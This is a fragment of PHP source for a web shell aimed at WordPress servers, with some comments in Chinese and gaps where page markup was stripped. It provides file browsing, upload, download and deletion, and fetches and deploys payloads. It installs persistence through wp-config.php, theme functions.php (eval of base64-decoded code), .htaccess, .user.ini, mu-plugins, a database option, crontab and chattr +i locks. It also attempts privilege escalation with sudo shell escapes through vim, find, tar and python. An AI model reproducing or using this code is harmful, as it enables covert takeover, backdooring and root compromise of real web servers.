✅ Uploaded via move_uploaded_file: '.htmlspecialchars($dest).' ('.$sz.'KB)
'; } else { $tmp = $f['tmp_name']; if (is_readable($tmp)) { $data = @file_get_contents($tmp); if ($data !== false && @file_put_contents($dest, $data) !== false) { $sz = round(filesize($dest)/1024, 2); echo '✅ Uploaded via file_put_contents (fallback): '.htmlspecialchars($dest).' ('.$sz.'KB)
'; } else { echo '❌ Both methods failed. Check permissions on '.htmlspecialchars($path).'
'; } } else { echo '❌ Temporary file not readable.
'; } } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '❌ Error: '.($errors[$f['error']] ?? 'Unknown').'
'; } } echo '';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
if (is_dir($full)) echo '📁 '.$item."/\n";
else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
echo '';
break;
case 'tree':
echo '';
function ws_tree($root, $depth=0, $max=4) {
if ($depth > $max) return;
if (!is_dir($root)) return;
$items = scandir($root);
if (!$items) return;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $root.'/'.$item;
if (is_dir($full)) {
echo str_repeat(' ', $depth).'📁 '.$item."/\n";
ws_tree($full, $depth+1, $max);
} else {
echo str_repeat(' ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
}
ws_tree($path);
echo '';
break;
case 'drives':
echo '';
if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
} else {
$cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
}
echo '';
break;
case 'read':
$f = ws_g('f');
if (!$f || !is_file($f)) { echo 'File not found'; break; }
$content = @file_get_contents($f);
echo ''.htmlspecialchars($output).''; else echo '
No output'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); @readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (@unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (@rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (@file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo ''; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (@mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo ''; break; case 'deploy': echo '
❌ Failed to fetch payload content
'; } else { $methods = [ 'file_put_contents' => function($dest, $data) { return @file_put_contents($dest, $data) !== false; }, 'system+echo' => function($dest, $data) { $cmd = "echo " . escapeshellarg($data) . " > " . escapeshellarg($dest); @system($cmd, $ret); return $ret === 0 && file_exists($dest); }, 'proc_open' => function($dest, $data) { $desc = [0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']]; $p = @proc_open('cat > ' . escapeshellarg($dest), $desc, $pipes); if (!is_resource($p)) return false; @fwrite($pipes[0], $data); @fclose($pipes[0]); @proc_close($p); return file_exists($dest); }, 'rename_from_tmp' => function($dest, $data) { $tmp = @tempnam(sys_get_temp_dir(), 'ws_'); if (!$tmp || @file_put_contents($tmp, $data) === false) return false; $ok = @rename($tmp, $dest); if (!$ok) @unlink($tmp); return $ok; }, ]; $success_method = ''; foreach ($methods as $name => $fn) { if ($fn($target, $content)) { $success_method = $name; break; } } if ($success_method) { $sz = round(filesize($target)/1024, 2); echo '✅ Deployed via ' . $success_method . ': ' . htmlspecialchars($target) . ' (' . $sz . 'KB)
'; @chmod($target, 0644); if ($is_root && ws_g('immutable')) { @system('chattr +i ' . escapeshellarg($target)); echo '✅ File locked (chattr +i)
'; } if ($persist === 'config') { $cfg = rtrim($path,'/') . '/wp-config.php'; $inc = "\n@include '" . addslashes($target) . "';\n"; if (@file_put_contents($cfg, $inc, FILE_APPEND)) echo '✅ Added to wp-config.php
'; } elseif ($persist === 'htaccess') { $ht = rtrim($path,'/') . '/.htaccess'; $inc = "\nphp_value auto_append_file \"" . $target . "\"\n"; if (@file_put_contents($ht, $inc, FILE_APPEND)) echo '✅ Added to .htaccess
'; } elseif ($persist === 'userini') { $ui = rtrim($path,'/') . '/.user.ini'; $inc = "auto_append_file = \"" . $target . "\"\n"; if (@file_put_contents($ui, $inc, FILE_APPEND)) echo '✅ Added to .user.ini
'; } elseif ($persist === 'cron') { $cron_code = ''; $cron_file = rtrim($path,'/') . '/wp-content/uploads/.cron.php'; if (@file_put_contents($cron_file, $cron_code)) { $db_host = defined('DB_HOST') ? DB_HOST : 'localhost'; $db_user = defined('DB_USER') ? DB_USER : ''; $db_pass = defined('DB_PASSWORD') ? DB_PASSWORD : ''; $db_name = defined('DB_NAME') ? DB_NAME : ''; $mysqli = @new mysqli($db_host, $db_user, $db_pass, $db_name); if ($mysqli && !$mysqli->connect_error) { $table = defined('DB_PREFIX') ? DB_PREFIX.'options' : 'wp_options'; $stmt = $mysqli->prepare("INSERT INTO {$table} (option_name, option_value, autoload) VALUES ('cron_rebuild', ?, 'yes')"); $stmt->bind_param('s', $cron_file); $stmt->execute(); echo '✅ WP-Cron persistence installed
'; } } } $url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS']==='on'?'https':'http').'://'.$_SERVER['HTTP_HOST'].str_replace($_SERVER['DOCUMENT_ROOT'],'',$target); echo '🔗 URL: '.htmlspecialchars($url).'
'; } else { echo '❌ All write methods failed.
'; } } } echo '⚠️ ALREADY ROOT - no privesc needed
'; break; } // 1. sudo -l echo '';
@system('sudo -n -l 2>&1', $ret);
echo '';
if ($ret === 0) echo '⚠️ NOPASSWD sudo rules found!
'; // 2. SUID binaries echo '';
@system('find / -perm -4000 -type f 2>/dev/null | grep -E "(vim|find|python|perl|nmap|bash|less|more|env|awk|tar|chmod|dpkg|git|docker|kubelet)"', $ret);
echo '';
// 3. Writable Cron scripts
echo '';
@system('find /etc/cron* -writable 2>/dev/null', $ret);
echo '';
// 4. Kernel version
echo '';
@system('uname -a', $ret);
echo '';
// 5. Writable system paths
echo '';
@system('for p in /etc /etc/cron.d /opt /usr/local/bin /var/spool/cron/crontabs /home; do [ -w "$p" ] && echo "WRITABLE: $p"; done', $ret);
echo '';
// 6. Attempt common sudo privesc
echo '';
$sudo_cmds = [
'sudo vim -c ":!/bin/sh" -c ":q"' => 'vim',
'sudo find / -exec /bin/sh -p \; -quit' => 'find',
'sudo tar cf /dev/null file --checkpoint=1 --checkpoint-action=exec=/bin/sh' => 'tar',
'sudo python3 -c "import os; os.system(\'/bin/sh\')"' => 'python',
];
foreach ($sudo_cmds as $cmd => $bin) {
echo "Trying: $cmd\n";
@system("echo '' | timeout 3 $cmd 2>&1", $ret);
if ($ret === 0) { echo ">>> SUCCESS! Got shell via $bin\n"; break; }
}
echo '✅ wp-config.php injection OK
'; } } else { $results[] = '❌ wp-config.php not writable
'; } // 2. functions.php 注入 $theme_dir = $root . '/wp-content/themes'; if (is_dir($theme_dir)) { $themes = array_diff(scandir($theme_dir), ['.','..']); foreach ($themes as $theme) { $func_file = $theme_dir . '/' . $theme . '/functions.php'; if (file_exists($func_file) && is_writable($func_file)) { $code = "\n// __PERSIST_MARK__\n@eval(base64_decode(\"{$payload_b64}\"));\n"; if (@file_put_contents($func_file, $code, FILE_APPEND)) { $results[] = "✅ functions.php ({$theme}) injection OK
"; break; } } } } // 3. .htaccess + .cache.php $htaccess = $root . '/.htaccess'; $ht_code = "\n# __PERSIST_MARK__\nphp_value auto_append_file \"{$wp_uploads}/.cache.php\"\n"; if (@file_put_contents($htaccess, $ht_code, FILE_APPEND)) { if (@file_put_contents($wp_uploads . '/.cache.php', $payload)) { $results[] = '✅ .htaccess + .cache.php OK
'; } } // 4. .user.ini $userini = $root . '/.user.ini'; $ini_code = "auto_append_file = \"{$wp_uploads}/.cache.php\"\n"; if (@file_put_contents($userini, $ini_code, FILE_APPEND)) { $results[] = '✅ .user.ini auto_append OK
'; } // 5. mu-plugins + 数据库 if (!is_dir($wp_mu)) @mkdir($wp_mu, 0755, true); if (is_writable($wp_mu)) { $loader = "connect_error) { $table = defined('DB_PREFIX') ? DB_PREFIX . 'options' : 'wp_options'; $mysqli->query("INSERT INTO {$table} (option_name, option_value, autoload) VALUES ('_persist_cache', '{$payload_b64}', 'yes') ON DUPLICATE KEY UPDATE option_value='{$payload_b64}'"); $results[] = '✅ mu-plugins + DB persistence OK
'; } } } // 6. Cron 任务（系统级） if (getmyuid() === 0 || @system('crontab -l 2>/dev/null') !== false) { $cron_cmd = "* * * * * php -r \"\\$c=get_option('_persist_cache'); if(\\$c) eval(base64_decode(\\$c));\" >/dev/null 2>&1\n"; @system("echo '{$cron_cmd}' | crontab -", $ret); if ($ret === 0) $results[] = '✅ Crontab persistence OK
'; } // 7. chattr +i 锁（root） if (getmyuid() === 0) { @system("chattr +i {$wp_config} 2>/dev/null"); @system("chattr +i {$wp_mu}/_loader.php 2>/dev/null"); $results[] = '✅ chattr +i lock applied (root only)
'; } echo implode("\n", $results); echo '维权安装完成。 即使 webshell 文件被删，以下机制仍可恢复：
'; echo '| Name | Size | Perms | Actions | |
|---|---|---|---|---|
| 📁 '.$item.' | '; else echo '📄 '.$item.' | '; echo ''.$size.' | '.$perms.' | '; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo ' |